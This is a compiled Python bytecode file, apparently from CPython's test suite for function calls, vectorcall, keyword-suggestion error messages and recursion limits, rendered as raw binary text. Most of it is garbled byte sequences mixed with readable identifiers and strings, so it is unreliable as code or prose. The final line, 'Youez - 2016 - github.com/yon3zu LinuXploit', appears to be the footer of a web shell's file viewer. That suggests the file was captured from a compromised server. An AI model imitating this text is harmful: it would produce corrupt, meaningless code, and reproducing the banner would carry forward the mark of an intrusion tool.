issubclassr4�has_vectorcall_flagr6r#)r�	SuperTyper>r8�UnaffectedType1�UnaffectedType2s      r�&test_vectorcall_override_with_subclass�1TestPEP590.test_vectorcall_override_with_subclass�s���3�3�5�	�	�)�	��=��$�9�9�+�F��#�9�9�)�D��	
���
�?�@�A����
�?�>�?�	
�����Y�/�����6�6�y�A�4�H�����6�6�{�C�T�J�����6�6��G��N�����6�6��G��N�	���	�*������\�2�����6�6�y�A�4�H�����6�6�{�C�T�J�����6�6��G��N�����6�6��G��N�3�	�������X�.�����6�6�y�A�5�I�����6�6�{�C�U�K�����6�6��G��N�����6�6��G��Nrc��^�[[S540S4[R/S40S4/RS0S4[S/4SS0S4[
S0S4[SSS0S4[R"5S0S	4[R"5S0S	4[R"5S0S
4/	nSSKJmJn SSK
Jn SS
KJn U4SjnUH_upgp�UR#[%U55 U(dUR'X�"Xg55 UR'X�"XgU55 SSS5 Ma "SS[R5n
"SS[R5n"SS5n"SSU[R5n
U[(R*04SS	0S40R*04SS	0S4U
"5S0S	4U"5S0S4U
"5S0S	4/-
nUH�upgp�UR#[%U55 USSnU"XgS5nU"U5nU(dVUR'X�"U65 UR'U	T"XgS55 UR'X�"U65 UR'U	U"U65 UR'X�"U0UD65 UR'X�"XgU55 UR'X�"U0UD65 UR'U	U"U0UD65 SSS5 M� g!,(df   GM=f!,(df   GM$=f)Nr
r)r�$�start�)r
r*TF)r��pyvectorcall_call)�
MethodType)�partialc�V>�/UQUR5Q7n[U5nT"XU5$r))r�r�)r�r�r�r�r�s    �rr0�.TestPEP590.test_vectorcall.<locals>.vectorcall�s.���*�D�*�6�=�=�?�*�D��F�m�G�&�t�7�;�;rc��\rSrSrSrg)�8TestPEP590.test_vectorcall.<locals>.MethodDescriptorHeapi�rNrrrrrrR�r
rrc��\rSrSrSrSrg)�>TestPEP590.test_vectorcall.<locals>.MethodDescriptorOverriddenic��g)N�newr)r�ns  rr#�GTestPEP590.test_vectorcall.<locals>.MethodDescriptorOverridden.__call__s��rrNr%rrr�MethodDescriptorOverriddenrTs��
rrYc�(^�\rSrSrU4SjrSrU=r$)�-TestPEP590.test_vectorcall.<locals>.SuperBaseic�>�[TU]"U6$r)��superr#�rr��	__class__s  �rr#�6TestPEP590.test_vectorcall.<locals>.SuperBase.__call__�����w�'��.�.rr�rrrrr#r�
__classcell__�r`s@r�	SuperBaser[�
���
/�
/rrfc�(^�\rSrSrU4SjrSrU=r$)�9TestPEP590.test_vectorcall.<locals>.MethodDescriptorSuperi	c�>�[TU]"U6$r)r]r_s  �rr#�BTestPEP590.test_vectorcall.<locals>.MethodDescriptorSuper.__call__
rbrrrcres@r�MethodDescriptorSuperri	rgrrlr�rVr%)�lenrJr0r�sumrrr!rrr'r�rLrrMrrNr�rr4r3�update)r�callsrLrMrNr0r�r�r�r6rrYrfrl�args1�meth�wrappedr�s                 @rr��TestPEP590.test_vectorcall�s������b�	�|�R��,��+�+��A�w��D�1��)�)�T�2�t�,����w����R�0���r�2�.�!�5�4��+�r�:��0�0�2�D�"�d�C��3�3�5�t�R��F��-�-�/��r�5�A�C��	E�$�%�	<�
/4�*�T�����c�$�i�(���$�$�X�/@��/L�M�� � ��+<�T��+P�Q�)�(�/4�	�9�#A�#A�	�	��)G�)G�	�	/�	/�	/�I�y�/M�/M�	/�	�
�[�[�2�%�%���t�4�
�Y�Y����d�|�T�2�
!�
#�T�2�t�4�
'�
)�4��U�;�
"�
$�d�B��5�
�	
��/4�*�T�����c�$�i�(��Q�R���!�$�Q��0��!�$�-����$�$�X�t�T�{�;��$�$�X�/B�4�t�/T�U��$�$�X�t�U�|�<��$�$�X�w��~�>�� � ��4��+@��+@�A�� � ��:�d�&�+I�J�� � ��4��+A�&�+A�B�� � ��7�D�+C�F�+C�D�)�(�/4�?)�(��@)�(�s� 7K�&CK�
K	�
K*	c��SSKJn SnURnSnU"SU"U55 U"U5 [S[-5HnU"SU"U55 M g)Nr��function_setvectorcallc��US-$rEr��nums rr<�(TestPEP590.test_setvectorcall.<locals>.f&s
��3��7�Nr�
��
overridden)r!rwr4rJ�ADAPTIVE_WARMUP_DELAY)rrwr<�assert_equalrzrNs      r�test_setvectorcall�TestPEP590.test_setvectorcall$sQ��4�"��'�'�����R��3�� ��q�!��r�1�1�2�A���q��v�.�3rc���SSKJn "SS5nURnU"5nU"SUR5 U"UR5 [[5HnU"SUR5 M g)Nrrvc��\rSrSrSrSrg)�FTestPEP590.test_setvectorcall_load_attr_specialization_skip.<locals>.Xi2c��U$r)r�r�attrs  r�__getattribute__�WTestPEP590.test_setvectorcall_load_attr_specialization_skip.<locals>.X.__getattribute__3����rrN�rrrrr�rrrr�Xr�2���
rr�r$r~)r!rwr4r$r�rJr)rrwr�r�rzrNs      r�0test_setvectorcall_load_attr_specialization_skip�;TestPEP590.test_setvectorcall_load_attr_specialization_skip/s_��4�	�	��'�'��
�C���S�!�#�#���q�1�1�2��,�-�A���q�s�s�+�.rc��SSKJn "SS5nSnURnU"5n[[5HnU"SU"U55 M U"UR
5 [[5HnU"SU"U55 M g)Nrrvc��\rSrSrSrSrg)�GTestPEP590.test_setvectorcall_load_attr_specialization_deopt.<locals>.XiBc��U$r)rr�s  rr��XTestPEP590.test_setvectorcall_load_attr_specialization_deopt.<locals>.X.__getattribute__Cr�rrNr�rrrr�r�Br�rr�c��UR$r))r$rys r�get_a�KTestPEP590.test_setvectorcall_load_attr_specialization_deopt.<locals>.get_aFs���3�3�Jrr$r~)r!rwr4rJrr�)rrwr�r�r�rzrNs       r�1test_setvectorcall_load_attr_specialization_deopt�<TestPEP590.test_setvectorcall_load_attr_specialization_deopt?st��4�	�	�	��'�'��
�C���,�-�A���e�A�h�'�.��q�1�1�2��,�-�A���u�Q�x�0�.rc�n�SSKJn [R"5nUR	U"USS5S5 g)Nr)r�rzvectorcall called)r!r��_testlimitedcapi�LimitedVectorCallClassr4)rr�r"s   r� test_vectorcall_limited_incoming�+TestPEP590.test_vectorcall_limited_incomingTs.��1��5�5�7�����,�S�"�b�9�;N�Orc�^^�SSKJn /m/mUU4SjnURU"U5S5 URTS/5 URTSS0/5 g)Nr)�call_vectorcallc�J>�TRU5 TRU5 g�N�success�r)r�r��
args_captured�kwargs_captureds  ��rr<�6TestPEP590.test_vectorcall_limited_outgoing.<locals>.fas"���� � ��&��"�"�6�*�rr��r��baz�bar)r�r�r4)rr�r<r�r�s   @@r� test_vectorcall_limited_outgoing�+TestPEP590.test_vectorcall_limited_outgoingZsU���4��
���	�
	
�����+�Y�7������
�3�����E�5�>�*:�;rc��^^�SSKJn /m/m"UU4SjS5nURU"U"55S5 URTS/5 URTSS0/5 g)	Nr)�call_vectorcall_methodc�$>�\rSrSrUU4SjrSrg)�HTestPEP590.test_vectorcall_limited_outgoing_method.<locals>.TestInstanceiqc�J>�TRU5 TRU5 gr�r�)rr�r�r�r�s   ��rr<�JTestPEP590.test_vectorcall_limited_outgoing_method.<locals>.TestInstance.frs"����$�$�T�*��&�&�v�.� rrN)rrrrr<r)r�r�s��r�TestInstancer�qs
���
!�
!rr�r�r�r�r�)r�r�r4)rr�r�r�r�s   @@r�'test_vectorcall_limited_outgoing_method�2TestPEP590.test_vectorcall_limited_outgoing_methodjs]���;��
���	!�	!�	
���/���?��K������
�3�����E�5�>�*:�;rrN)rrrrrr(r,r9rFr�r�r�r�rr�r�r�rrrrrrost��X�&V�*&�/�'O�TJE�X	/�,� 1�*�P��P�
�
<��
<��<��<rrc�:�\rSrSrSr\S5r\S5rSrg)�Ai{c��gr)r)rrzrs   r�method_two_args�A.method_two_args|s��rc��gr)rrrr�static_no_args�A.static_no_args���rc��gr)r��args r�positional_only�A.positional_only�r�rrN)	rrrrr�r�r�r�rrrrr�r�{s/��
��
��
��
��
rr�c�V�\rSrSr\R
S5rSrSrSr	Sr
SrSrg	)
�!TestErrorMessagesUseQualifiedNamei�c#�# �UR[5nSv� SSS5 UR[WR5U5 g!,(df   N4=f7fr))�assertRaisesrKr4r�	exception�r�message�cms   r�check_raises_type_error�9TestErrorMessagesUseQualifiedName.check_raises_type_error�s>���
�
�
�y�
)�R��*�����R�\�\�*�G�4�*�
)���A�A�.A�
A�Ac��SnURU5 [5RS5 SSS5 g!,(df   g=f)Nz?A.method_two_args() missing 1 required positional argument: 'y'rz�r�r�r�rXs  r�test_missing_arguments�8TestErrorMessagesUseQualifiedName.test_missing_arguments�s1��O��
�
)�
)�#�
.�
�C����$�/�
.�
.��	�7�
Ac��SnURU5 [RS5 SSS5 g!,(df   g=f)Nz?A.static_no_args() takes 0 positional arguments but 1 was givenzoops it's an arg)r�r�r�rXs  r�test_too_many_positional�:TestErrorMessagesUseQualifiedName.test_too_many_positional�s0��O��
�
)�
)�#�
.�
���/�0�/�
.�
.�s	�3�
Ac��SnURU5 [RSS9 SSS5 g!,(df   g=f)NzYA.positional_only() got some positional-only arguments passed as keyword arguments: 'arg'rzr�)r�r�r�rXs  r�&test_positional_only_passed_as_keyword�HTestErrorMessagesUseQualifiedName.test_positional_only_passed_as_keyword�s2��i��
�
)�
)�#�
.�
���#��&�/�
.�
.�s�1�
?c��SnURU5 [5RSS9 SSS5 g!,(df   g=f)Nz<A.method_two_args() got an unexpected keyword argument 'bad'rz)�badr�rXs  r�test_unexpected_keyword�9TestErrorMessagesUseQualifiedName.test_unexpected_keyword�s4��L��
�
)�
)�#�
.�
�C���C��(�/�
.�
.�s	�5�
Ac��SnURU5 [5RSSSS9 SSS5 g!,(df   g=f)Nz8A.method_two_args() got multiple values for argument 'x'rzr�oopsryr�rXs  r�test_multiple_values�6TestErrorMessagesUseQualifiedName.test_multiple_values�s8��H��
�
)�
)�#�
.�
�C����S�F��3�/�
.�
.�r�rN)
rrrr�
contextlib�contextmanagerr�r�r�r�r�r�rrrrr�r��s5�����5��5�
%�
1�
'�
)�
4rr�c�n�\rSrSr\R
S5r\R
S5rSrSr	Sr
Srg)	�TestErrorMessagesSuggestionsi�c#��# �UR[5nSv� SSS5 URSUS3[WR55 g!,(df   N8=f7f)NzDid you mean 'z'?)r�rK�assertInrr�r�s   r�check_suggestion_includes�6TestErrorMessagesSuggestions.check_suggestion_includes�sE���
�
�
�y�
)�R��*��
�
��w�i�r�2�C����4E�F�*�
)�s�A �A�2A �
A�A c#�# �UR[5nSv� SSS5 URS[WR55 g!,(df   N4=f7f)NzDid you mean)r�rK�assertNotInrr�)rr�s  r�check_suggestion_not_present�9TestErrorMessagesSuggestions.check_suggestion_not_present�s>���
�
�
�y�
)�R��*������R�\�\�):�;�*�
)�r�c	�(�SSS.Sjjn/SQnUH\up4URU5 U(aURU5OUR5nU U"S0US0D6 SSS5 SSS5 M^ g!,(df   N=f!,(df   M�=f)N)�late1c��gr)r)�blech�aaar�r�s    rr��\TestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_valid_positions.<locals>.foo�r>r))�blachN)�aar�)�orgsN)�late11r��NNr)r�r�r�)rr��cases�keyword�
suggestion�ctxs      r�2test_unexpected_keyword_suggestion_valid_positions�OTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_valid_positions�s~��	�d�	�
��$)��G����g�&�DN�d�4�4�Z�@�TX�Tu�Tu�Tw����)�7�4�.�)��'�&�$)��S��'�&�s#�+B�A1�B�1
A?�;B�
B	c	�J�SSjnSSjnSSjnSSjnSSjnSSjnSSjnUS4US	4US
4US4US4US4US4US
44H?up�URU	5 URU	5 U"SS9 SSS5 SSS5 MA g!,(df   N=f!,(df   Md=f)Nc��gr)r)�noise�
more_noiser$r�s    r�substitution�[TestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.substitution�r>rc��gr)r)rrr$�blchs    r�elimination�ZTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.elimination�r>rc��gr)r)rrr$�bluchins    r�addition�WTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.addition�r>rc��gr)r)r��blucs  r�substitution_over_elimination�lTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.substitution_over_elimination�r>rc��gr)r)r��bluchis  r�substitution_over_addition�iTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.substitution_over_addition�r>rc��gr)r)r�bluchas  r�elimination_over_addition�hTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.elimination_over_addition�r>rc��gr)r)�BLuch�Luch�fluchs   r�case_change_over_substitution�lTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds.<locals>.case_change_over_substitution�r>rrr�rr�rr)�bluch)NNNNr�)NNN)r�r�)
rrrrrrrrr�r�s
          r�(test_unexpected_keyword_suggestion_kinds�ETestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_kinds�s���	�	�	�	�	�	�	��y�!�
�7�#�
�&�!�
�y�!�
*�G�4�
'��1�
&��/�
*�G�4�	!
��D����j�)��3�3�J�?��t�$�@�*�)�	!
�@�?��*�)�s$�B�&B�-B�
B�B�
B"	c�
�URS5 SRSS9 SSS5 UR[SSRSS9 UR	5 SRSS9 SSS5 UR	5 SRSSS9 SSS5 URS5 [S	S
9 SSS5 UR[S[
SS9 UR	5 [SS9 SSS5 UR	5 [SS	S9 SSS5 g!,(df   GN=f!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   Nw=f!,(df   g=f)
N�maxsplitr�r%)�maxspltz5split\(\) got an unexpected keyword argument 'blech'$)r�)rr%r�r�)�namezz;ImportError\(\) got an unexpected keyword argument 'blech'$)r�r&)r��splitrVrKr�r�rs r�.test_unexpected_keyword_suggestion_via_getargs�KTestErrorMessagesSuggestions.test_unexpected_keyword_suggestion_via_getargs�s1��
�
+�
+�J�
7��K�K��K�"�8�	
����O��K�K�q�	�	
��
.�
.�
0��K�K�a�K� �1�
�
.�
.�
0��K�K�1�a�K�0�1��
+�
+�F�
3��f�%�4�	
����U��q�	�	
��
.�
.�
0��a� �1�
�
.�
.�
0��a�v�.�1�
0�-8�
7��1�
0��
0�
0��4�
3��1�
0��
0�
0�sG�D�D0�E�,
E�(
E#�
E4�
D-�0
D>�
E�
E �#
E1�4
FrN)rrrrr�r�r�r�r�r!r(rrrrr�r��sF�����G��G�
���<��<�
*�"#%�J/rr�c��\rSrSr\\R"\=(a \S5\R"\	SLS5S555r
Srg)�
TestRecursionizrequires deep stackNrc�^^^^�U4SjmUU4SjmU4SjmU4Sjm[S5 T"S5 UR[5 T"S5 SSS5 T"S5 UR[5 T"S5 SSS5 T"S	5 UR[5 T"S5 SSS5 SSS5 g!,(df   Ns=f!,(df   NV=f!,(df   N9=f!,(df   g=f)
Nc�,>�U(aT"US-
5 ggrEr)rW�recurses �rr.�.TestRecursion.test_super_deep.<locals>.recurses������!���rc�D>�U(a
T"US-
U5 gT"US-
5 grEr)rWrC�c_py_recurse�
py_recurses  ��rr2�1TestRecursion.test_super_deep.<locals>.py_recurses �����1�Q�3��"��Q�q�S�!rc�N>�U(a[R"TUS-
4S5 gg)Nr%r�r!r�)rW�	c_recurses �rr6�0TestRecursion.test_super_deep.<locals>.c_recurses#�����-�-�i�!�A�#���D�rc�J>�U(a"TSU4S5 gg)NrHrr5)rCr2s �rr1�3TestRecursion.test_super_deep.<locals>.c_py_recurses!�����-�-�j�4��)�R�H�ri��i�_i���d�Z)rr��RecursionError)rr1r6r2r.s @@@@r�test_super_deep�TestRecursion.test_super_deep
s����
	�	"�	E�	I�!��
)��F�O��"�"�>�2��� �3��c�N��"�"�>�2��&�!�3�����"�"�>�2��W�%�3�*�
)�2�2��3�2��3�2��*�
)�sS�C0�	B=�%C0�5	C�>%C0�#	C�,C0�=
C	�C0�
C	�C0�
C-	�)C0�0
C>r)rrrrrr�r�rrr!r=rrrrr+r+sI���
�_�_�W�)��+@�A�
�_�_�Y�$�&�(<�=�&�>�B��&rr+c��\rSrSrSrSrg)�TestFunctionWithManyArgsi-c	�L�SH�nURUS9 SR[U5Vs/sHnSU3PM
 sn5nSUSUS-3n0n[U0U5 UR	US"[U56US-5 SSS5 M� gs snf!,(df   M�=f)	N)r|i�rH)�Nr�r$zdef f(z) : return ar'r<)r��joinrJr�r4)rrB�ir��src�ls      r�test_function_with_many_args�5TestFunctionWithManyArgs.test_function_with_many_args.s��� �A������"��x�x�%��(� ;�(�Q�1�Q�C��(� ;�<���t�f�L��A���7�����S�"�a� �� � ��3���q��!2�A�q�D�9�#�"�!�� ;�#�"�s�B�B�AB�B�
B#	rN)rrrrrGrrrrr@r@-s��:rr@zneed _testcapic��\rSrSrSrSrg)�TestCAPIi8c��SnSnURU"U5S045 URU"USSS5S045 URU"USS	S
9SSS	045 g)
Nc��X4$r)r)r�r�s  rr��*TestCAPI.test_cfunction_call.<locals>.func;s
���>�!rc�j�U(a[R"XU5$[R"X5$r))r!�pycfunction_callr�s   r�PyCFunction_Call�6TestCAPI.test_cfunction_call.<locals>.PyCFunction_Call@s)��� �1�1�$�f�E�E� �1�1�$�=�=rrr%r'rr(r�r�ryr�rz)r4)rr�rPs   r�test_cfunction_call�TestCAPI.test_cfunction_call:sl��	"�
	>�	
���)�$�/�"�b��:����)�$��1�a�8�9�b�/�J����)�$��1�=��5�RS�*�?U�VrrN)rrrrrRrrrrrJrJ8s��WrrJ�__main__)3r��test.supportrrrrrrr	r!r�r�r�r-r�r�r��sysrrr�TestCaser!rRr�rr�r�r�r�r�r�r�r�r�r�r�r&rrrrrr�r�r�r+r@rJr�mainrrr�<module>rYs���M�M�M��������	��
��&�S�&��H�%�%��B�z4�(�"3�"3�z4��z4�z
����d�"�$8�9�H
�X�.�.�H
�:�H
�VA�%;�A�<�"8�<�1�*@�1�"�#9�"���
�
� �-����
�X3�H�%�%�X3�v%��&���
�
��
����d�"�$8�9�I<��"�"�I<�:�I<�V

�

��4��(9�(9�4��4�B�[/�8�#4�#4�[/��[/�z�"&�H�%�%�"&��"&�J:�x�0�0�:�
����d�"�$4�5�W�x� � �W�6�W�$�z���M�M�O���K"���I��������s"�G/�G>�/G;�:G;�>H
�	H


Youez - 2016 - github.com/yon3zu
LinuXploit